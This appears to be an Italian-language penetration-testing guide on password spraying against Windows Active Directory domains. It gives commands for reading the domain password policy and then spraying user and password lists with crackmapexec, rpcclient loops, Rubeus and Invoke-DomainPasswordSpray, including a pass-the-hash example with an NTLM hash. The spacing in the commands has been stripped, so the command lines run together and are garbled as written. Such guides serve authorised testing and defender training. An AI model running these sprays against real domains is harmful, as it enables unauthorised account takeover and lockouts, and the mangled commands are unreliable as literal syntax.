Una volta trovati diversi nomi utente validi puoi provare le password più comuni (tenendo conto della politica sulle password dell'ambiente) con ciascuno degli utenti scoperti.
Per default la lunghezza minima della password è 7.
Nota che potresti bloccare alcuni account se provi diverse password errate (per default più di 10).
Ottenere la politica delle password
Se hai delle credenziali utente o una shell come utente di dominio puoi ottenere la politica delle password con:
# From Linuxcrackmapexec<IP>-u'user'-p'password'--pass-polenum4linux-u'username'-p'password'-P<IP>rpcclient-U""-N10.10.10.10;rpcclient $>querydominfoldapsearch-h10.10.10.10-x-b"DC=DOMAIN_NAME,DC=LOCAL"-ssub"*"|grep-m1-B10pwdHistoryLength# From Windowsnetaccounts(Get-DomainPolicy)."SystemAccess"#From powerview
Sfruttamento da Linux (o tutti)
Utilizzando crackmapexec:
crackmapexecsmb<IP>-uusers.txt-ppasswords.txt# Local Auth Spray (once you found some local admin pass or hash)## --local-auth flag indicate to only try 1 time per machinecrackmapexecsmb--local-auth10.10.10.10/23-uadministrator-H10298e182387f9cab376ecd08491764a0|grep+
Con il modulo scanner/smb/smb_login di Metasploit:
Utilizzando rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/for u in$(catusers.txt); dorpcclient-U"$u%Welcome1"-c"getusername;quit"10.10.10.10|grepAuthority;done
# with a list of users.\Rubeus.exe brute/users:<users_file>/passwords:<passwords_file>/domain:<domain_name>/outfile:<output_file># check passwords for all users in current domain.\Rubeus.exe brute/passwords:<passwords_file>/outfile:<output_file>
Con Invoke-DomainPasswordSpray (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi di accesso in base ad essa):
Per utilizzare uno qualsiasi di questi strumenti, è necessario disporre di un elenco di utenti e di una password / un piccolo elenco di password da spruzzare.